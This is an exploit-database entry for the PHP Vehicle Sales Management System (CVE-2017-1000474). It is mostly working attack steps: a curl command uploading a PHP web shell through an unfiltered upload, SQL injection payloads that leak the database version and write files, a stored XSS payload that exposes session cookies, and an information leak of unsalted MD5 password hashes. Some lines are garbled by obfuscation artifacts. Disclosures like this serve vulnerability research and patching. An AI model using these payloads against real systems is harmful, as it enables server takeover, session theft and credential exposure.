Vehicle Sales Management System - Multiple Vulnerabilities

ID 1337DAY-ID-30020
Type zdt
Reporter Sing
Modified 2018-03-20T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: VSMS Multiple Vulnerabilities
# Google Dork: N/A
# Date: 16-3-2018
# Exploit Author: Sing
# Vendor Homepage:
# Software Link:
# Version: 07/2017 (possible v1.2)
# Tested on: CentOS 6.9
# CVE : CVE-2017-1000474
1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed
curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[][email protected]/getShell.php
The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads.  Now, browse to the location and note the file name.  In my vase it's 1510529218getShell.php.  To execute it do
2 login/profile.php: Found SQLI in the Date of Birth text box.
Paste the below POC into the birth date text box and update.  A mysql version will appear in the Position box
2015-11-30',[email protected]@version,u_type='Employee' WHERE u_email='[email protected]';-- -
3 login/Actions.php: Found Stored XSS in manufacturer_name
curl -d 'manufacturer_name=<script>alert(document.cookie)</script>'
Now when user's browse to login/model.php page, he/she will see an alert with the session cookie
4 login/Actions.php (Multiple vulnerabilities)
curl -d "[email protected]' union select 'SQLIIII' into outfile'/tmp/stuff.txt"
This SQLI will write SQLIIII to /tmp/stuff.txt.
POC (Information Leak
This gives anonymous user full list of the users table with unsalted MD5 hash passwords.
5. Solution:
The author notified of a new version with fixes (possibly v1.3).  It can be found at vendor’s home page

# [2018-04-10]  #